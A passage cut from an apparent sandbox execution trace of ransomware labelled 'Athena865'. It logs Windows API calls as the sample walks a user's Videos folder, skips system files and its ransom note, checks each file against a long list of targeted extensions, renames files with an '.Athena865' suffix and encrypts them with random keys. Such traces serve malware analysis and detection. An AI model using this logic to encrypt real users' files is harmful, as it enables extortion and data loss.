(HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.615] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.616] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.616] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.616] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc950, lpName=0x0) returned 0x17c [0102.616] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc950) returned 0x100000 [0102.618] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.619] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.619] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.619] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.620] CloseHandle (hObject=0x17c) returned 1 [0102.620] CloseHandle (hObject=0x154) returned 1 [0102.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.621] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24c3e30, ftCreationTime.dwHighDateTime=0x1d4c660, ftLastAccessTime.dwLowDateTime=0xb2dc8b20, ftLastAccessTime.dwHighDateTime=0x1d4cd76, ftLastWriteTime.dwLowDateTime=0xb2dc8b20, ftLastWriteTime.dwHighDateTime=0x1d4cd76, nFileSizeHigh=0x0, nFileSizeLow=0x8a67, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3OcEkYfp.mp4", cAlternateFileName="")) returned 1 [0102.621] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.621] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2=".") returned 1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="..") returned 1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="windows") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="bootmgr") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="temp") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="pagefile.sys") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="boot") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="ids.txt") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="ntuser.dat") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="perflogs") returned -1 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2="MSBuild") returned -1 [0102.622] lstrlenW (lpString="3OcEkYfp.mp4") returned 12 [0102.622] lstrcpyW (in: lpString1=0x241e8ca, lpString2="3OcEkYfp.mp4" | out: lpString1="3OcEkYfp.mp4") returned="3OcEkYfp.mp4" [0102.622] lstrlenW (lpString="3OcEkYfp.mp4") returned 12 [0102.622] lstrlenW (lpString="Athena865") returned 9 [0102.622] lstrcmpiW (lpString1="EkYfp.mp4", lpString2="Athena865") returned 1 [0102.622] lstrlenW (lpString=".dll") returned 4 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2=".dll") returned 1 [0102.622] lstrlenW (lpString=".lnk") returned 4 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2=".lnk") returned 1 [0102.622] lstrlenW (lpString=".ini") returned 4 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2=".ini") returned 1 [0102.622] lstrlenW (lpString=".sys") returned 4 [0102.622] lstrcmpiW (lpString1="3OcEkYfp.mp4", lpString2=".sys") returned 1 [0102.622] lstrlenW (lpString="3OcEkYfp.mp4") returned 12 [0102.622] lstrlenW (lpString="bak") returned 3 [0102.622] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1 [0102.622] lstrlenW (lpString="ba_") returned 3 [0102.622] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1 [0102.622] lstrlenW (lpString="dbb") returned 3 [0102.622] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1 [0102.622] lstrlenW (lpString="vmdk") returned 4 [0102.623] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1 [0102.623] lstrlenW (lpString="rar") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1 [0102.623] lstrlenW (lpString="zip") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1 [0102.623] lstrlenW (lpString="tgz") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1 [0102.623] lstrlenW (lpString="vbox") returned 4 [0102.623] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1 [0102.623] lstrlenW (lpString="vdi") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1 [0102.623] lstrlenW (lpString="vhd") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1 [0102.623] lstrlenW (lpString="vhdx") returned 4 [0102.623] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1 [0102.623] lstrlenW (lpString="avhd") returned 4 [0102.623] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1 [0102.623] lstrlenW (lpString="db") returned 2 [0102.623] lstrcmpiW (lpString1="p4", lpString2="db") returned 1 [0102.623] lstrlenW (lpString="db2") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1 [0102.623] lstrlenW (lpString="db3") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1 [0102.623] lstrlenW (lpString="dbf") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1 [0102.623] lstrlenW (lpString="mdf") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1 [0102.623] lstrlenW (lpString="mdb") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1 [0102.623] lstrlenW (lpString="sql") returned 3 [0102.623] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1 [0102.623] lstrlenW (lpString="sqlite") returned 6 [0102.623] lstrcmpiW (lpString1="fp.mp4", lpString2="sqlite") returned -1 [0102.623] lstrlenW (lpString="sqlite3") returned 7 [0102.624] lstrcmpiW (lpString1="Yfp.mp4", lpString2="sqlite3") returned 1 [0102.624] lstrlenW (lpString="sqlitedb") returned 8 [0102.624] lstrcmpiW (lpString1="kYfp.mp4", lpString2="sqlitedb") returned -1 [0102.624] lstrlenW (lpString="xml") returned 3 [0102.624] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1 [0102.624] lstrlenW (lpString="$er") returned 3 [0102.624] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1 [0102.624] lstrlenW (lpString="4dd") returned 3 [0102.624] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1 [0102.624] lstrlenW (lpString="4dl") returned 3 [0102.624] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1 [0102.624] lstrlenW (lpString="^^^") returned 3 [0102.624] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1 [0102.624] lstrlenW (lpString="abs") returned 3 [0102.624] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1 [0102.624] lstrlenW (lpString="abx") returned 3 [0102.624] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1 [0102.624] lstrlenW (lpString="accdb") returned 5 [0102.624] lstrcmpiW (lpString1="p.mp4", lpString2="accdb") returned 1 [0102.624] lstrlenW (lpString="accdc") returned 5 [0102.624] lstrcmpiW (lpString1="p.mp4", lpString2="accdc") returned 1 [0102.624] lstrlenW (lpString="accde") returned 5 [0102.624] lstrcmpiW (lpString1="p.mp4", lpString2="accde") returned 1 [0102.624] lstrlenW (lpString="accdr") returned 5 [0102.624] lstrcmpiW (lpString1="p.mp4", lpString2="accdr") returned 1 [0102.624] lstrlenW (lpString="accdt") returned 5 [0102.624] lstrcmpiW (lpString1="p.mp4", lpString2="accdt") returned 1 [0102.624] lstrlenW (lpString="accdw") returned 5 [0102.624] lstrcmpiW (lpString1="p.mp4", lpString2="accdw") returned 1 [0102.624] lstrlenW (lpString="accft") returned 5 [0102.624] lstrcmpiW (lpString1="p.mp4", lpString2="accft") returned 1 [0102.624] lstrlenW (lpString="adb") returned 3 [0102.624] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0102.624] lstrlenW (lpString="adb") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0102.625] lstrlenW (lpString="ade") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1 [0102.625] lstrlenW (lpString="adf") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1 [0102.625] lstrlenW (lpString="adn") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1 [0102.625] lstrlenW (lpString="adp") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1 [0102.625] lstrlenW (lpString="alf") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1 [0102.625] lstrlenW (lpString="ask") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1 [0102.625] lstrlenW (lpString="btr") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1 [0102.625] lstrlenW (lpString="cat") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1 [0102.625] lstrlenW (lpString="cdb") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1 [0102.625] lstrlenW (lpString="ckp") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1 [0102.625] lstrlenW (lpString="cma") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1 [0102.625] lstrlenW (lpString="cpd") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1 [0102.625] lstrlenW (lpString="dacpac") returned 6 [0102.625] lstrcmpiW (lpString1="fp.mp4", lpString2="dacpac") returned 1 [0102.625] lstrlenW (lpString="dad") returned 3 [0102.625] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1 [0102.625] lstrlenW (lpString="dadiagrams") returned 10 [0102.625] lstrcmpiW (lpString1="cEkYfp.mp4", lpString2="dadiagrams") returned -1 [0102.625] lstrlenW (lpString="daschema") returned 8 [0102.625] lstrcmpiW (lpString1="kYfp.mp4", lpString2="daschema") returned 1 [0102.625] lstrlenW (lpString="db-journal") returned 10 [0102.626] lstrcmpiW (lpString1="cEkYfp.mp4", lpString2="db-journal") returned -1 [0102.626] lstrlenW (lpString="db-shm") returned 6 [0102.626] lstrcmpiW (lpString1="fp.mp4", lpString2="db-shm") returned 1 [0102.626] lstrlenW (lpString="db-wal") returned 6 [0102.626] lstrcmpiW (lpString1="fp.mp4", lpString2="db-wal") returned 1 [0102.626] lstrlenW (lpString="dbc") returned 3 [0102.626] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1 [0102.626] lstrlenW (lpString="dbs") returned 3 [0102.626] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1 [0102.626] lstrlenW (lpString="dbt") returned 3 [0102.626] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1 [0102.626] lstrlenW (lpString="dbv") returned 3 [0102.626] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1 [0102.626] lstrlenW (lpString="dbx") returned 3 [0102.626] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1 [0102.626] lstrlenW (lpString="dcb") returned 3 [0102.626] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1 [0102.626] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\3OcEkYfp.mp4.Athena865") returned 87 [0102.626] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\3OcEkYfp.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\3ocekyfp.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\3OcEkYfp.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\3ocekyfp.mp4.athena865"), dwFlags=0x1) returned 1 [0102.627] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\3OcEkYfp.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\3ocekyfp.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.628] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35431) returned 1 [0102.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.628] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.629] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.629] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.629] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d70, lpName=0x0) returned 0x17c [0102.629] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d70) returned 0x100000 [0102.630] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.631] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.631] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.632] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.632] CloseHandle (hObject=0x17c) returned 1 [0102.632] CloseHandle (hObject=0x154) returned 1 [0102.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.633] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c46e90, ftCreationTime.dwHighDateTime=0x1d4d544, ftLastAccessTime.dwLowDateTime=0x641bee0, ftLastAccessTime.dwHighDateTime=0x1d4c947, ftLastWriteTime.dwLowDateTime=0x641bee0, ftLastWriteTime.dwHighDateTime=0x1d4c947, nFileSizeHigh=0x0, nFileSizeLow=0x506f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9d vlT2Gndw00D2.mp4", cAlternateFileName="9DVLT2~1.MP4")) returned 1 [0102.633] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2=".") returned 1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="..") returned 1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="windows") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="bootmgr") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="temp") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="pagefile.sys") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="boot") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="ids.txt") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="ntuser.dat") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="perflogs") returned -1 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2="MSBuild") returned -1 [0102.634] lstrlenW (lpString="9d vlT2Gndw00D2.mp4") returned 19 [0102.634] lstrcpyW (in: lpString1=0x241e8ca, lpString2="9d vlT2Gndw00D2.mp4" | out: lpString1="9d vlT2Gndw00D2.mp4") returned="9d vlT2Gndw00D2.mp4" [0102.634] lstrlenW (lpString="9d vlT2Gndw00D2.mp4") returned 19 [0102.634] lstrlenW (lpString="Athena865") returned 9 [0102.634] lstrcmpiW (lpString1="w00D2.mp4", lpString2="Athena865") returned 1 [0102.634] lstrlenW (lpString=".dll") returned 4 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2=".dll") returned 1 [0102.634] lstrlenW (lpString=".lnk") returned 4 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2=".lnk") returned 1 [0102.634] lstrlenW (lpString=".ini") returned 4 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2=".ini") returned 1 [0102.634] lstrlenW (lpString=".sys") returned 4 [0102.634] lstrcmpiW (lpString1="9d vlT2Gndw00D2.mp4", lpString2=".sys") returned 1 [0102.634] lstrlenW (lpString="9d vlT2Gndw00D2.mp4") returned 19 [0102.635] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\9d vlT2Gndw00D2.mp4.Athena865") returned 94 [0102.635] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\9d vlT2Gndw00D2.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\9d vlt2gndw00d2.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\9d vlT2Gndw00D2.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\9d vlt2gndw00d2.mp4.athena865"), dwFlags=0x1) returned 1 [0102.638] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\9d vlT2Gndw00D2.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\9d vlt2gndw00d2.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.638] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20591) returned 1 [0102.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.640] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.641] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.641] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.641] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5370, lpName=0x0) returned 0x17c [0102.641] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5370) returned 0x100000 [0102.642] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.643] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.643] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.644] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.644] CloseHandle (hObject=0x17c) returned 1 [0102.644] CloseHandle (hObject=0x154) returned 1 [0102.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.645] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3673f0, ftCreationTime.dwHighDateTime=0x1d4d455, ftLastAccessTime.dwLowDateTime=0x50b16a0, ftLastAccessTime.dwHighDateTime=0x1d4c6b5, ftLastWriteTime.dwLowDateTime=0x50b16a0, ftLastWriteTime.dwHighDateTime=0x1d4c6b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dnjzxr_yz0y8iBl8rhol", cAlternateFileName="DNJZXR~1")) returned 1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2=".") returned 1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="..") returned 1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="windows") returned -1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="bootmgr") returned 1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="temp") returned -1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="pagefile.sys") returned -1 [0102.645] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="boot") returned 1 [0102.646] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="ids.txt") returned -1 [0102.646] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="ntuser.dat") returned -1 [0102.646] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="perflogs") returned -1 [0102.646] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol", lpString2="MSBuild") returned -1 [0102.646] lstrlenW (lpString="dnjzxr_yz0y8iBl8rhol") returned 20 [0102.646] lstrcpyW (in: lpString1=0x241e8ca, lpString2="dnjzxr_yz0y8iBl8rhol" | out: lpString1="dnjzxr_yz0y8iBl8rhol") 